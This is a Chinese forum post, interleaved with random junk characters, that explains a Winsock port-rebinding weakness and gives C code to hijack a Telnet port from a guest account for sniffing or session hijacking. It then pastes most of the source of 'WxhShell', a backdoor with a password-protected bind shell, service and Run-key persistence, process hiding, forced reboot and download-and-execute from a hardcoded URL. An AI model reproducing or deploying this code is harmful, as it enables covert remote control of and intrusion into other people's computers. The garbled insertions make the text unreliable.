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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #}A!Bk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZLO_5#< %fxGdzu7. saddr.sin_family = AF_INET; hup]Jk Y@pa+~[{h3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7#<|``]zNf k|BEAdQ%M bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EKDv3aFQZ# I=b#tUBh8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 myXp]=Sb? Maq{H` 这意味着什么?意味着可以进行如下的攻击: 9t)t-t#P; @4&sL] (q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CwT52+Jb {UwJg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s~TYzfA AU
>d1S. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gsAcn U"ga0X5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3"<{YEj8U O[8Lp? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LtNG<n)_BH ;)o%2#I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mT~:k}u~W iedoL0# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :qnRiK] {wd.aUB #include VNMhtwmK, #include jCy2bE #include %5uuB4P&|$ #include Z&PwNr/ DWORD WINAPI ClientThread(LPVOID lpParam); 578Dl(I#) int main() rb9x|| { txliZ|.O WORD wVersionRequested; TpnkJygIm DWORD ret; &\5T`|~)! WSADATA wsaData; =JEnK_@?K\ BOOL val; 6 C SOCKADDR_IN saddr; 3L#KHTM SOCKADDR_IN scaddr; (I\aGGW int err; :yO)g]KF SOCKET s; Q PGssQR6 SOCKET sc; HeR-;L int caddsize; J4x1qY)Y&v HANDLE mt; 56L>tP DWORD tid; ##FN0|e& wVersionRequested = MAKEWORD( 2, 2 ); ! 5[?n3 err = WSAStartup( wVersionRequested, &wsaData ); O/Da8#S< if ( err != 0 ) { <iL+/^# printf("error!WSAStartup failed!\n"); m-;u]X=a return -1; fOrqY,P' } n /rQ*hr saddr.sin_family = AF_INET; mWO=(}Fb\ bk"` hq //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -BB 5bsjA g*8sh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )L^WD$"'Q saddr.sin_port = htons(23); :egSW2"5S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,Kdvt@vle { R`/nsou printf("error!socket failed!\n"); :pOX, return -1; 0WQ0-~wx } cT." val = TRUE; -V<i4X<|,+ //SO_REUSEADDR选项就是可以实现端口重绑定的 %*LdacjZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :y]l`Mo - { b$VdTpz printf("error!setsockopt failed!\n"); Q:tW LVE#0 return -1; =<FFFoF*C_ } ah~7T~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )LnHm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0Wk}d(f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jz/@Zg", O^
f[ugs if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *USZ2|i { RU#Q<QI( ret=GetLastError(); /eZAAH printf("error!bind failed!\n"); N7Dm,Q ] return -1; '9i:b]Hru } 377$c;4F listen(s,2); fFiFc^ while(1) QK//bV) { R0{n0Br caddsize = sizeof(scaddr); E7y<iaA{~ //接受连接请求 [NJ! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +dR$;!WB3 if(sc!=INVALID_SOCKET) 8qt|2% { %#"uK:(N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (}bP`[@rX! if(mt==NULL) ]`+>{Sx 1 { a*=\-;HaZ printf("Thread Creat Failed!\n"); $JcU0tPq0 break; y?Fh%%uNr } tpA7"JD } u5%.T0
P CloseHandle(mt); Jw9|I)H } i1u &-#k closesocket(s); d(R3![: WSACleanup(); {s4:V=J return 0; [|uAfp5R } u:fiil$ DWORD WINAPI ClientThread(LPVOID lpParam) 6`F_js.a { {8b6A~/ SOCKET ss = (SOCKET)lpParam; !t[X/iu SOCKET sc; `N2zeFG unsigned char buf[4096]; 4uDz=B+8y SOCKADDR_IN saddr; .wYx_ long num; AY|8wf,LS DWORD val; W0l|E&fj[ DWORD ret; jr'O4bo% //如果是隐藏端口应用的话,可以在此处加一些判断 ^d-`?zb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 >|H=25N>; saddr.sin_family = AF_INET; dH?;!sJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jG8ihi saddr.sin_port = htons(23); Ma wio5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R '"J{oR { %-H printf("error!socket failed!\n"); Vk8:;Hj return -1; vhdT"7`U } a\^DthZ!;| val = 100; fE7[Sk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GT2;o { /zPN9 db ret = GetLastError(); C %y AMQ return -1; OfY>~d } N',]WZ} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gz$DsaG { eH79,!=2 ret = GetLastError(); T3!l{vG
\O return -1; "l2_7ZXsPT } Ow mI*` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @ttcFX1:W { #%B1,.A printf("error!socket connect failed!\n"); }fL8<HM\'c closesocket(sc); c\"oj&>A closesocket(ss); "7iHTV return -1; e2 Ba@e- } Z}$.Tm while(1) RG # { 7$;mkHu4H% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0;r+E*`DA //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]r6,^" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x~A""*B~ num = recv(ss,buf,4096,0); T?NwSxGo if(num>0) Y!CZ?c)@ send(sc,buf,num,0); )vhHlZ *+ else if(num==0) w/>k break; LYv+Sv num = recv(sc,buf,4096,0); ^]AjcctGr if(num>0) u!X[xe; send(ss,buf,num,0); ]%F3 xzOk else if(num==0) 0t6s20*q break; GP[;+xMBh } Kl\A&O*{ closesocket(ss); ] E`J5o}op closesocket(sc); Qx'a+kLu9 return 0 ; W!V06. } Yq3(, h}rrsVj3 @N"h,(^ ========================================================== NTls64AS. ?cowey\m
. 下边附上一个代码,,WXhSHELL Z'PL?;&+R lg;`I tX] ========================================================== 1,9RfY V Y Q3%vH5#y #include "stdafx.h" HFvhrG 86.!sQ8b #include <stdio.h> D("['`{ #include <string.h> FHqa|4Ie #include <windows.h> '+Ts IJh #include <winsock2.h> pA"pt~6 #include <winsvc.h> rh/3N8[6 #include <urlmon.h> Z9 }qds6 y sm4@ywd> #pragma comment (lib, "Ws2_32.lib") NM #pragma comment (lib, "urlmon.lib") Fu!:8Wp!( $A8eMJEpL #define MAX_USER 100 // 最大客户端连接数 c;BQ$je} #define BUF_SOCK 200 // sock buffer :KMo'pL #define KEY_BUFF 255 // 输入 buffer (a@cK, b{(!Ls_ & #define REBOOT 0 // 重启 boJQ3Xc #define SHUTDOWN 1 // 关机 qS+'#Sn SQW A{f #define DEF_PORT 5000 // 监听端口 ~iydp N@Bqe{r6j #define REG_LEN 16 // 注册表键长度 "f3, w #define SVC_LEN 80 // NT服务名长度 31<hn+pE& u,4,s[ // 从dll定义API %`-NWAXL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^ D?;K8a-l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Ev"/% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,N5Rdgzk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &h8+- M'R^?Jjb // wxhshell配置信息 cD-\fRBGK struct WSCFG { Vy&F{T;$ int ws_port; // 监听端口 C7eaioW$ char ws_passstr[REG_LEN]; // 口令 0 l
G\QT int ws_autoins; // 安装标记, 1=yes 0=no ^kt#[N char ws_regname[REG_LEN]; // 注册表键名 6@; w%Ea char ws_svcname[REG_LEN]; // 服务名 X}h{xl char ws_svcdisp[SVC_LEN]; // 服务显示名 [&3G `8hY char ws_svcdesc[SVC_LEN]; // 服务描述信息 VDCrFZ!] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *M6M'>Tin int ws_downexe; // 下载执行标记, 1=yes 0=no KvkiwO( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" E':y3T@." char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (~zdS. nu4GK}xI }; H /*^$>0Uo >x(^g~i // default Wxhshell configuration mzfj!0zR* struct WSCFG wscfg={DEF_PORT, Q3_ia5 `O "xuhuanlingzhe", {- 7T\mj 1, ([`-*Hy "Wxhshell", W5EB+b49KM "Wxhshell", 3,S5>~R= "WxhShell Service", oC>^V5 "Wrsky Windows CmdShell Service", !> "Please Input Your Password: ", 3Akb|r 1, '?wv::t " http://www.wrsky.com/wxhshell.exe", F#O.i, "Wxhshell.exe" W(a=ev2sa }; oRmN|d ~4 M I/9?B // 消息定义模块 )TVyRY Z1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {6a";Xj\e char *msg_ws_prompt="\n\r? for help\n\r#>"; z^ KrR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?N&"WL^| char *msg_ws_ext="\n\rExit."; c3g\*)Jz"F char *msg_ws_end="\n\rQuit."; X;6&:%ZL@^ char *msg_ws_boot="\n\rReboot..."; g>T'R Vb char *msg_ws_poff="\n\rShutdown..."; [[LCEw char *msg_ws_down="\n\rSave to "; xH; 4lw ){L`hQ*=w char *msg_ws_err="\n\rErr!"; v|CRiwx char *msg_ws_ok="\n\rOK!"; UTHGjE V)_mo/D!D char ExeFile[MAX_PATH]; *~:4&$ int nUser = 0; f\2'/g}6a HANDLE handles[MAX_USER]; '~<D[](/F int OsIsNt; y[.0L!C { q J@XVN4 SERVICE_STATUS serviceStatus; "<txg%j\J SERVICE_STATUS_HANDLE hServiceStatusHandle; _ N.ZpKVu hXmW,+1 // 函数声明 ){icI< int Install(void); i[T!{< int Uninstall(void); q71Tg int DownloadFile(char *sURL, SOCKET wsh); ;,'eO i int Boot(int flag); N r
uXXd void HideProc(void); <+
>y GPp int GetOsVer(void); j""u:l^+x int Wxhshell(SOCKET wsl); zT0FTAl^ void TalkWithClient(void *cs); /c]I|$v int CmdShell(SOCKET sock); !!DHfAV] int StartFromService(void); CQ"5bnR int StartWxhshell(LPSTR lpCmdLine); xud =(HLl f.,S-1D]h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s)8g4Yc* VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7z5AI!s_ 83OOM;' // 数据结构和表定义 !C&}e8M|eX SERVICE_TABLE_ENTRY DispatchTable[] = l2X'4_d { G0xk @SE {wscfg.ws_svcname, NTServiceMain}, FgKDk!ci {NULL, NULL} Y{f;qbEQH' }; $
[0 - YJ7ne] // 自我安装 2PAotD4+I int Install(void) C[|jJ9VE, { FJ}/g
? char svExeFile[MAX_PATH]; x_s9DkX HKEY key; [;83
IoU} strcpy(svExeFile,ExeFile); P8:k"i/6J q: ?6 // 如果是win9x系统,修改注册表设为自启动 cOxF.(L if(!OsIsNt) { cRI&cN"o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !n@Yg2 w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ro$l/lXl8t RegCloseKey(key); f*aYS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #zZQ@+5zw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j^Bo0{{ RegCloseKey(key); ?2aglj*"v, return 0; Rm&i" } G\=7d%T+ } h/QZcA } 65)/|j+ else { *)T},|Gc >#)^4-e // 如果是NT以上系统,安装为系统服务 !QSL8v@c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jx.Jx~ if (schSCManager!=0) Y'DI@ { Z ZX|MA! SC_HANDLE schService = CreateService /!P,o}l7 ( F
MHpa schSCManager, K.JKE"j)d wscfg.ws_svcname, Oz-X}eM wscfg.ws_svcdisp, jLM1~`& SERVICE_ALL_ACCESS, 4pduzO'I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a>ZV'~zTf SERVICE_AUTO_START, !c[?$#W4 SERVICE_ERROR_NORMAL, MOJKz!% svExeFile, SdeKRZ{o NULL, l _dWS9 NULL, 5,Mc`IIK1 NULL, ~Yb5FYE NULL, |zKFF?7#wE NULL xKv\z1ra ); ,KdDowc if (schService!=0) ;vy" i { L(fOe3
v CloseServiceHandle(schService); to|O]h2*U2 CloseServiceHandle(schSCManager); O>IY<]x>L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %7xx"$P:R strcat(svExeFile,wscfg.ws_svcname); g~rZ= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l#Ipo5= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9l]+rs+ RegCloseKey(key); nxS|] return 0; h-].?X,]Q } tMR&>hM } W_Z%CBjcT CloseServiceHandle(schSCManager); sC(IeGbX } $^?Mip } .hzzoLI2 zn@<>o8hU return 1; X3-pj<JLY } b8r?Dd"T8 hs!a'E // 自我卸载 anxgD?<+B int Uninstall(void) I}q2)@ { V|13%aE_v HKEY key; iP]KV.e'/C A,Wwt
[Qw if(!OsIsNt) { ;6KcX \g- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "v@Y[QI RegDeleteValue(key,wscfg.ws_regname); lmi,P-Q RegCloseKey(key); z"Miy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~:'tp28? RegDeleteValue(key,wscfg.ws_regname); U0 nSI RegCloseKey(key); ;wK; return 0; MxQhkY-= } Ye% e! } ZVs]_`(+ } {p[{5k 0 else { WXV (R,*Tc sEkfmB2J/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %IL]
Wz< if (schSCManager!=0) aMe]6cWHV> { ]V0V8fU| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zl^ %x1G if (schService!=0) &kUEnwQ- { duFVh8 if(DeleteService(schService)!=0) { =PYfk6j9 CloseServiceHandle(schService); =(2y$,6g? CloseServiceHandle(schSCManager); )S@e&a|
return 0; +pXYBwH
7Q } b
5<&hN4g CloseServiceHandle(schService); Z}#'.y\ f } zisf8x7^W CloseServiceHandle(schSCManager); .ZQD`SRrI } "{(|}Cds } Q6)Wh6Cm N-Fs-uB return 1; h;cl+c|B } DB%}@IW" -@L7!,j // 从指定url下载文件 =z^2KH int DownloadFile(char *sURL, SOCKET wsh) m#1>y} { !xk`oW HRESULT hr; .8e]-^Z char seps[]= "/"; Oy
EOb> char *token; P1C{G'cR char *file; /S2lA> char myURL[MAX_PATH]; KCP$i@Pjv char myFILE[MAX_PATH]; XuS3#L/3p M$_E:u&D strcpy(myURL,sURL); 5|O~ token=strtok(myURL,seps); ~wYGTm=(n while(token!=NULL) |?v(? { !z?& file=token; Voy1 token=strtok(NULL,seps); 6$/Z.8 } Q\Wh]=} 2qd5iOhX+ GetCurrentDirectory(MAX_PATH,myFILE); [x{z}rYH strcat(myFILE, "\\"); ,+2!&"zD strcat(myFILE, file); PWci D '! send(wsh,myFILE,strlen(myFILE),0); wN
NXUW send(wsh,"...",3,0); @=_4i&]$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I;1W6uD= if(hr==S_OK) |BGB60}]f return 0; O|K-UTWH% else MrjgV+P}[ return 1; 5"sd +pUG6.j% } ]2E#P.-!b +MZsL7% // 系统电源模块 dCA| ) int Boot(int flag) 9K!kU6Gh { .`p,pt; HANDLE hToken; FEY_(70 TOKEN_PRIVILEGES tkp; VAW:h5j2@ r&%TKm^/ if(OsIsNt) { f$>KTb({B OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M.FY4~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 90wGS_P04 tkp.PrivilegeCount = 1; :j2?v(jT_l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6v"WI@b4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '/="bSF if(flag==REBOOT) { [~NJf3c" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j(~e{HZ return 0; 3d>8~ANi=% } !$u:[T_8 else { i?wEd!=w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T.(C`/VM return 0; A_eO } /a,"b8 } 2#
72B else { o|G'vMph if(flag==REBOOT) { $^:s)Yv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qm_IU!b return 0; W Og pDs } bv^wE,+?o else { f9K+o-P.h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7D(Eo{ue return 0; KvjsibI/Y } m!5MGq~ } gV}c4>v( !78P+i return 1; o75l&` } ^'%Q>FVb r01u3! // win9x进程隐藏模块 *iX PG9XZ void HideProc(void) 4A0v>G`E*# { >sjvE4s o 9rZ&Q< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sU(<L0 if ( hKernel != NULL ) a B$x(8pP@ { DD5cUlOSu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r2%Qk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +~K)
~ FreeLibrary(hKernel); )O],$\u } ' !2NSv l{I.l return; /IQ$[WR cx } |&"/u7^ `h%K8];<6f // 获取操作系统版本 P3!JA)p6a int GetOsVer(void) `pb=y} { D\^mh{q( OSVERSIONINFO winfo; 5BJn_< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H Y~[/H+: GetVersionEx(&winfo); -zg 6^f_pW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iNs@8<=$T return 1; VS\| f'E else ;il+C!6zpf return 0; A]laS7Q } 00B,1Q HP MQe|\SMd // 客户端句柄模块 I`77[ int Wxhshell(SOCKET wsl) `_()|; !y { o)f$ 7. SOCKET wsh; tkYPfUvTE struct sockaddr_in client; cOf.z)kf6 DWORD myID; \kZ@2.pN $."DOZQ3U while(nUser<MAX_USER) ekW#| { XU<XK9EA int nSize=sizeof(client); 2:RFPK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H:nO\] if(wsh==INVALID_SOCKET) return 1; H|S hi / 2:@,~{`#* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OI_Px3)
y if(handles[nUser]==0) Co,?<v=Ll closesocket(wsh); -mP2}BNM else 5)Z:J nUser++; b0sj0w / } 7g5Pc_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cA+T-A] ef7 BG( return 0; wV\7 } Mtl`A'KQ/K AC\y|X8- // 关闭 socket foUBMl void CloseIt(SOCKET wsh) HZ2f|Y|T { Q/@ pcU closesocket(wsh); e(?1`1 nUser--; yIf^vx_G ExitThread(0); i[4!% FxB } {Hie%2V *~~J1.ja> // 客户端请求句柄 Dm%Q96*VAq void TalkWithClient(void *cs) u+y3(0 { Y(] W+k< #)#J`s1R SOCKET wsh=(SOCKET)cs; X(O:y^sX} char pwd[SVC_LEN]; .}GOHW)} char cmd[KEY_BUFF]; *0vRVlYf char chr[1]; 7^V`B^Vu int i,j; DR
@yd, Jz4;7/ while (nUser < MAX_USER) { D9H%jDv S}VN(g if(wscfg.ws_passstr) { '[HBKn$` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <`WDNi$Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l9]nrT1Hy //ZeroMemory(pwd,KEY_BUFF); V$wbm z i=0; g:.LCF while(i<SVC_LEN) { ^I9U<iNIL ^F
qs,^~W // 设置超时 yRi5t{!V fd_set FdRead; <I*N=;7 struct timeval TimeOut; ~1XC5.*-
FD_ZERO(&FdRead); m7`S@qG FD_SET(wsh,&FdRead); )6BySk TimeOut.tv_sec=8; Lxn-M5RPQ TimeOut.tv_usec=0; (/^?$~m" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GPizR|}h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~$ Po3]{s E^Ch;)j| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mN
l[D pwd =chr[0];
PZvc4
if(chr[0]==0xd || chr[0]==0xa) { AHMvh 7O? pwd=0; S?zP;
iFj break; [0 rH/{ } >sdF:(JV& i++; #S]O|$&* } *%\Xw*\0 W6`_lGTj // 如果是非法用户,关闭 socket A~v[6*~> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &G[W$2`@ } f'MRC
\ Lp3pJE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MR: H3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q Y!LzKM0 W4qnXD1n while(1) { ^$mCF%e8H 4`'Rm/) ZeroMemory(cmd,KEY_BUFF); dKP| TRd EuA352x // 自动支持客户端 telnet标准 ?9 W2ax-4 j=0; eoFG$X/PO while(j<KEY_BUFF) { dNCd-ep if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 's5H_ah cmd[j]=chr[0]; K47.zu if(chr[0]==0xa || chr[0]==0xd) { ,<C~DSAyZ cmd[j]=0; [vz2< genn break; ?)[=>Kp } Sj:c {jyJd j++; Hq~SRc~ } xOr"3;^ O>I%O^ // 下载文件 +3M1^: if(strstr(cmd,"http://")) { ?v-!`J>EF# send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1FG"Ak}D if(DownloadFile(cmd,wsh)) $C,`^n' send(wsh,msg_ws_err,strlen(msg_ws_err),0); \rT>&o .i else c,]fw2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s0CDp"uJY } Z%b1B<u$ else { ]ncK M?'O U6o]7j&6 switch(cmd[0]) { 1vAJ(O{- +;)Xu}
// 帮助 ~OLyG$JJ case '?': { ,,1y0s0` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (w+SmD break; P(o>UDy } T!pA$eE // 安装 :o87<)
_F case 'i': { +;*4.} if(Install()) ^jcVJpyT@R send(wsh,msg_ws_err,strlen(msg_ws_err),0); aI|X~b else M$Rh]3vqR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L^PBcfg break; a1ps'^Qhh } 6OJhF7\0& // 卸载 XWX]/j2jA case 'r': { YG5mzP<T if(Uninstall()) {$pi}; send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H@7t,> else b7">IzAe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UZ6y3%G3^ break; ~Y;Z5e= } 2|(lKFkQ // 显示 wxhshell 所在路径 "\]]?& case 'p': { }7K~- char svExeFile[MAX_PATH]; [ \%a7ji# strcpy(svExeFile,"\n\r"); }[PC
YnS strcat(svExeFile,ExeFile); qP zxP @4
send(wsh,svExeFile,strlen(svExeFile),0); jK%Lewq break; $"}[\>e*{ } _ /Eg_dQ~@ // 重启 l>hvWK[ ?I case 'b': { '#oH1$W] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^4p$@5zH if(Boot(REBOOT)) 2S4SG\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Tk~?aY else { t!u>l closesocket(wsh); dB QCr{7 ExitThread(0); DeeV;?: } epG =)gd=8 break; 16nU`TN } +D[C.is>]} // 关机 5`lVC$cP case 'd': { T.B7QAI. H send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wbk$(P'gN if(Boot(SHUTDOWN)) ytb1h Fs send(wsh,msg_ws_err,strlen(msg_ws_err),0); S)'&+HamI else { ELg$tc closesocket(wsh); oMYZ^b^ ExitThread(0); ixoN#'y<" } glkH??S break; 7j(gW } aZ|S$-} // 获取shell W[e2J&G case 's': { ?(}~[ CmdShell(wsh); h&!$ `) closesocket(wsh); ,w=u? ExitThread(0); {Q`Q2'@ break; QF22_D<.}J } 0HQTe>! // 退出 }I#_H case 'x': { v-"nyy-&Z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -q
nOq[ CloseIt(wsh); cFq2 6(e break; \JCpwNT{P } \J;]g\&I" // 离开 G
c, case 'q': { mgodvX send(wsh,msg_ws_end,strlen(msg_ws_end),0); x cZF_elt7 closesocket(wsh); SP>&+5AydX WSACleanup(); N-Bw&hEZ exit(1); K!2%8Ej,J break; w6-<HPW<S } |0X~D}r|J } ta'wX } 0bSnD|#I rd=+[:7L // 提示信息 Gq%,'amf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N0ef5J
JM` } :KGPQ@:O } Bo'v!bI7 Im]6-#(9\| return; @~&^1%37) } gkca{BJ MlW*Tugg // shell模块句柄 g;7u-nP int CmdShell(SOCKET sock) tDMNpl { )M"xCO3a STARTUPINFO si; >LPIvmT4D? ZeroMemory(&si,sizeof(si)); ~8-xj6^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $'::51 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4AF.KX7 PROCESS_INFORMATION ProcessInfo; P{: 5i%qC char cmdline[]="cmd"; h}DKFrHW;- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x`2du/
C return 0; SDk^fTV8x } {M\n ;0uiO. // 自身启动模式 l|;]"&|_]c int StartFromService(void) %J9+`uSl { .S* sGauM typedef struct XK)0Mt\ { Pa$"c?QUy DWORD ExitStatus; ::-*~CH) DWORD PebBaseAddress; 9kbczL^Y
DWORD AffinityMask; d'b9.ki\ DWORD BasePriority; .SNg2. ULONG UniqueProcessId; EW+QVu@ ULONG InheritedFromUniqueProcessId; >t%@)]*N } PROCESS_BASIC_INFORMATION; rfr]bq5 9w=[}<E PROCNTQSIP NtQueryInformationProcess; k]2_vk^ MN:LL
